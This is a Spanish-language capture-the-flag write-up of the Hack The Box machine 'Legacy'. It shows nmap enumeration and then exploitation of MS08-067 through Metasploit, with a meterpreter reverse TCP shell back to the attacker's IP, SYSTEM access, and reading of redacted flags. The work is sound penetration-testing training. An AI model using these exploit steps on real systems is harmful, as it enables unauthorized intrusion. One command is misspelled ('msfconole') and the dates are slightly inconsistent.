Legacy

Enumeración

Nuestra fase de reconocimiento comenzó validando la conectividad y el sistema operativo del objetivo. El TTL=127 de la respuesta del ping nos indicó inmediatamente que nos enfrentábamos a una máquina Windows. Al realizar el escaneo de puertos, descubrimos los puertos clásicos de RPC y SMB abiertos.

El hallazgo más crítico se produjo durante el escaneo detallado de servicios: Nmap identificó el sistema operativo como Windows XP. Un sistema tan antiguo exponiendo el servicio SMB a la red es un blanco perfecto para vulnerabilidades críticas de ejecución remota de código, como el infame MS08-067.

# [-c] Especificar la cantidad de paquetes ICMP a enviar (1 en este caso)
# Comprobar la conexión y el ttl=127 que nos confirma que es una máquina Windows
┌──(jquirozz㉿jquirozz.com)-[~/HTB/legacy]
└─$ ping -c 1 10.129.227.181
PING 10.129.227.181 (10.129.227.181) 56(84) bytes of data.
64 bytes from 10.129.227.181: icmp_seq=1 ttl=127 time=112 ms

# [-p-] Escanear todos los puertos (1-65535)
# [-n] No resolver DNS para acelerar el escaneo
# [-sS] Escaneo SYN (Stealth). No completa la conexión TCP completa
# [-Pn] Omitir el descubrimiento de host (asume que la máquina está viva)
# [--min-rate=5000] Enviar al menos 5000 paquetes por segundo
# [-oG] Guardar la salida en formato Grepeable
┌──(jquirozz㉿jquirozz.com)-[~/HTB/legacy]
└─$ nmap -p- -n -sS -Pn --min-rate=5000 10.129.227.181 -oG allPorts
PORT    STATE SERVICE
135/tcp open  msrpc
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

# [-p] Especificar la lista de puertos descubiertos previamente
# [-sCV] Ejecutar scripts de enumeración por defecto (-sC) y detectar versiones de servicios (-sV)
# [-oN] Guardar la salida en el formato normal de Nmap
┌──(jquirozz㉿jquirozz.com)-[~/HTB/legacy]
└─$ nmap -p135,139,445 -sCV --min-rate=5000 10.129.227.181 -oN nmap
PORT    STATE SERVICE      VERSION
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds Windows XP microsoft-ds
Host script results:
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_nbstat: NetBIOS name: LEGACY, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:b0:6d:20 (VMware)
| smb-os-discovery:
|   OS: Windows XP (Windows 2000 LAN Manager)
|   OS CPE: cpe:/o:microsoft:windows_xp::-
|   Computer name: legacy
|   NetBIOS computer name: LEGACY\x00
|   Workgroup: HTB\x00
|_  System time: 2026-04-20T18:10:14+03:00
|_smb2-time: Protocol negotiation failed (SMB2)
|_clock-skew: mean: 5d00h27m40s, deviation: 2h07m16s, median: 4d22h57m40s

Explotación

Sabiendo que el objetivo es un Windows XP vulnerable, decidimos utilizar Metasploit Framework para un enfoque rápido y directo. Buscamos el exploit para MS08-067, una vulnerabilidad de desbordamiento de búfer en el servicio Server de Windows (NetAPI) que permite la ejecución remota de código sin autenticación.

Tras configurar los parámetros de nuestra máquina local y la IP víctima, lanzamos el ataque. El exploit funcionó a la perfección, inyectando nuestro payload y devolviéndonos una sesión de Meterpreter. Al verificar nuestros privilegios, confirmamos que obtuvimos acceso directo como NT AUTHORITY\SYSTEM, el nivel de privilegio más alto en Windows. Gracias a esto, pudimos acceder directamente a los escritorios de los usuarios john y Administrator para reclamar ambas flags sin necesidad de realizar ninguna escalada de privilegios.

# Iniciar y preparar la base de datos de Metasploit
┌──(jquirozz㉿jquirozz.com)-[~/HTB/legacy]
└─$ sudo msfdb init

# [-q] Iniciar la consola de Metasploit en modo "quiet" (sin el banner visual de bienvenida)
┌──(jquirozz㉿jquirozz.com)-[~/HTB/legacy]
└─$ sudo msfconole -q

# Buscar exploits relacionados con el boletín de seguridad MS08-067
msf > search MS08-067
Matching Modules
================
   #   Name                                                             Disclosure Date  Rank   Check  Description
   -   ----                                                             ---------------  ----   -----  -----------
   0   exploit/windows/smb/ms08_067_netapi                              2008-10-28       great  Yes    MS08-067 Microsoft Server Service Relative Path Stack Corruption

# Seleccionar el exploit utilizando su índice numérico en la lista de resultados
msf > use 0

# Mostrar las opciones requeridas para configurar el exploit seleccionado
msf exploit(windows/smb/ms08_067_netapi) > show options

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT    445              yes       The SMB service port (TCP)
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.10.10.3       yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting

# Configurar la IP de nuestra máquina atacante (Local Host) para recibir la reverse shell
msf exploit(windows/smb/ms08_067_netapi) > set lhost 10.10.15.174
lhost => 10.10.15.174

# Configurar la IP de la máquina víctima (Remote Host)
msf exploit(windows/smb/ms08_067_netapi) > set rhost 10.129.227.181
rhost => 10.129.227.181

# Ejecutar el exploit contra el objetivo
msf exploit(windows/smb/ms08_067_netapi) > run
[*] 10.129.227.181:445 - Automatically detecting the target...
[*] 10.129.227.181:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 10.129.227.181:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 10.129.227.181:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (10.10.15.174:4444 -> 10.129.227.181:1045) at 2026-04-15 09:32:14 -0400

# Consultar el usuario actual bajo el que se está ejecutando nuestra sesión
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

# Desplegar una consola interactiva de comandos (cmd.exe) del sistema vulnerado
meterpreter > shell
Channel 1 created.

C:\Documents and Settings>type john\Desktop\user.txt
e6*****************************4f

C:\Documents and Settings\>type Administrator\Desktop\root.txt
99*****************************13